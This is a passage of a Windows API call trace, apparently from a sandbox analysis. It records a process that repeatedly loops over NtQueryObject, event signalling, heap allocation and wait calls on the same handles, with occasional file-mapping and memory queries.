ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.310] ResetEvent (hEvent=0x110) returned 1 [0259.310] SetEvent (hEvent=0x114) returned 1 [0259.310] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.310] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.310] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.310] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.310] ResetEvent (hEvent=0x110) returned 1 [0259.311] SetEvent (hEvent=0x114) returned 1 [0259.311] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.311] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.311] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.311] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.311] ResetEvent (hEvent=0x110) returned 1 [0259.311] SetEvent (hEvent=0x114) returned 1 [0259.311] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.311] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.348] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.348] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.348] ResetEvent (hEvent=0x110) returned 1 [0259.348] SetEvent (hEvent=0x114) returned 1 [0259.348] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.348] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.348] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.348] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.348] ResetEvent (hEvent=0x110) returned 1 [0259.348] SetEvent (hEvent=0x114) returned 1 [0259.348] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.348] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.349] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.349] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.349] ResetEvent (hEvent=0x110) returned 1 [0259.349] SetEvent (hEvent=0x114) returned 1 [0259.349] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.349] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.350] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.350] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.350] ResetEvent (hEvent=0x110) returned 1 [0259.350] SetEvent (hEvent=0x114) returned 1 [0259.350] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.350] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.350] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.350] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.350] ResetEvent (hEvent=0x110) returned 1 [0259.350] SetEvent (hEvent=0x114) returned 1 [0259.350] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.350] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.351] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.351] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.351] ResetEvent (hEvent=0x110) returned 1 [0259.351] SetEvent (hEvent=0x114) returned 1 [0259.351] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.351] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.352] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.352] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.352] ResetEvent (hEvent=0x110) returned 1 [0259.352] SetEvent (hEvent=0x114) returned 1 [0259.352] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.352] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.352] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.352] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.352] ResetEvent (hEvent=0x110) returned 1 [0259.352] SetEvent (hEvent=0x114) returned 1 [0259.352] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.352] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.353] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.353] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.353] ResetEvent (hEvent=0x110) returned 1 [0259.353] SetEvent (hEvent=0x114) returned 1 [0259.353] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.353] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.353] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.354] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.354] ResetEvent (hEvent=0x110) returned 1 [0259.354] SetEvent (hEvent=0x114) returned 1 [0259.354] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.354] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.354] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.354] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.354] ResetEvent (hEvent=0x110) returned 1 [0259.354] SetEvent (hEvent=0x114) returned 1 [0259.354] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.354] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.355] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.355] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.355] MapViewOfFile (hFileMappingObject=0x1c4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.355] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.355] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.355] ResetEvent (hEvent=0x110) returned 1 [0259.355] SetEvent (hEvent=0x114) returned 1 [0259.355] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.355] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.356] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.356] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.356] MapViewOfFile (hFileMappingObject=0x1c4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.356] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.356] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.356] ResetEvent (hEvent=0x110) returned 1 [0259.356] SetEvent (hEvent=0x114) returned 1 [0259.356] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.356] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.356] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.356] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.356] ResetEvent (hEvent=0x110) returned 1 [0259.356] SetEvent (hEvent=0x114) returned 1 [0259.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.357] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.357] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.357] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.357] ResetEvent (hEvent=0x110) returned 1 [0259.357] SetEvent (hEvent=0x114) returned 1 [0259.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.357] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.358] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.358] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.358] ResetEvent (hEvent=0x110) returned 1 [0259.358] SetEvent (hEvent=0x114) returned 1 [0259.358] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.358] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.358] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.358] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.358] ResetEvent (hEvent=0x110) returned 1 [0259.358] SetEvent (hEvent=0x114) returned 1 [0259.358] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.359] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.359] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.359] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.359] ResetEvent (hEvent=0x110) returned 1 [0259.359] SetEvent (hEvent=0x114) returned 1 [0259.359] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.359] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.360] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.360] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.360] ResetEvent (hEvent=0x110) returned 1 [0259.360] SetEvent (hEvent=0x114) returned 1 [0259.360] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.360] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.360] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.360] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.360] ResetEvent (hEvent=0x110) returned 1 [0259.360] SetEvent (hEvent=0x114) returned 1 [0259.360] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.360] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.361] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.361] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.361] ResetEvent (hEvent=0x110) returned 1 [0259.361] SetEvent (hEvent=0x114) returned 1 [0259.361] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.361] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.361] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.362] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.362] ResetEvent (hEvent=0x110) returned 1 [0259.362] SetEvent (hEvent=0x114) returned 1 [0259.362] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.362] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.362] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.362] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.362] ResetEvent (hEvent=0x110) returned 1 [0259.362] SetEvent (hEvent=0x114) returned 1 [0259.362] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.362] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.363] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.363] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.363] ResetEvent (hEvent=0x110) returned 1 [0259.363] SetEvent (hEvent=0x114) returned 1 [0259.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.363] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.363] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.363] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.364] ResetEvent (hEvent=0x110) returned 1 [0259.364] SetEvent (hEvent=0x114) returned 1 [0259.364] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.364] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.364] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.364] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.364] ResetEvent (hEvent=0x110) returned 1 [0259.364] SetEvent (hEvent=0x114) returned 1 [0259.364] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.364] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.365] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.365] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.365] ResetEvent (hEvent=0x110) returned 1 [0259.365] SetEvent (hEvent=0x114) returned 1 [0259.365] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.365] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.365] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.365] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.365] ResetEvent (hEvent=0x110) returned 1 [0259.365] SetEvent (hEvent=0x114) returned 1 [0259.365] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.365] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.366] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.366] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.366] ResetEvent (hEvent=0x110) returned 1 [0259.366] SetEvent (hEvent=0x114) returned 1 [0259.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.366] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.367] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.367] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.367] ResetEvent (hEvent=0x110) returned 1 [0259.367] SetEvent (hEvent=0x114) returned 1 [0259.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.367] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.367] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.367] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.367] ResetEvent (hEvent=0x110) returned 1 [0259.367] SetEvent (hEvent=0x114) returned 1 [0259.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.367] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.368] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.368] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.368] ResetEvent (hEvent=0x110) returned 1 [0259.368] SetEvent (hEvent=0x114) returned 1 [0259.368] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.368] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.368] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.368] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.368] ResetEvent (hEvent=0x110) returned 1 [0259.369] SetEvent (hEvent=0x114) returned 1 [0259.369] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.369] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.369] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.369] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.369] ResetEvent (hEvent=0x110) returned 1 [0259.369] SetEvent (hEvent=0x114) returned 1 [0259.369] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.369] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.370] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.370] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.370] ResetEvent (hEvent=0x110) returned 1 [0259.370] SetEvent (hEvent=0x114) returned 1 [0259.370] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.370] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.370] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.370] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.370] ResetEvent (hEvent=0x110) returned 1 [0259.370] SetEvent (hEvent=0x114) returned 1 [0259.370] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.371] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.371] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.371] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.371] ResetEvent (hEvent=0x110) returned 1 [0259.371] SetEvent (hEvent=0x114) returned 1 [0259.371] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) 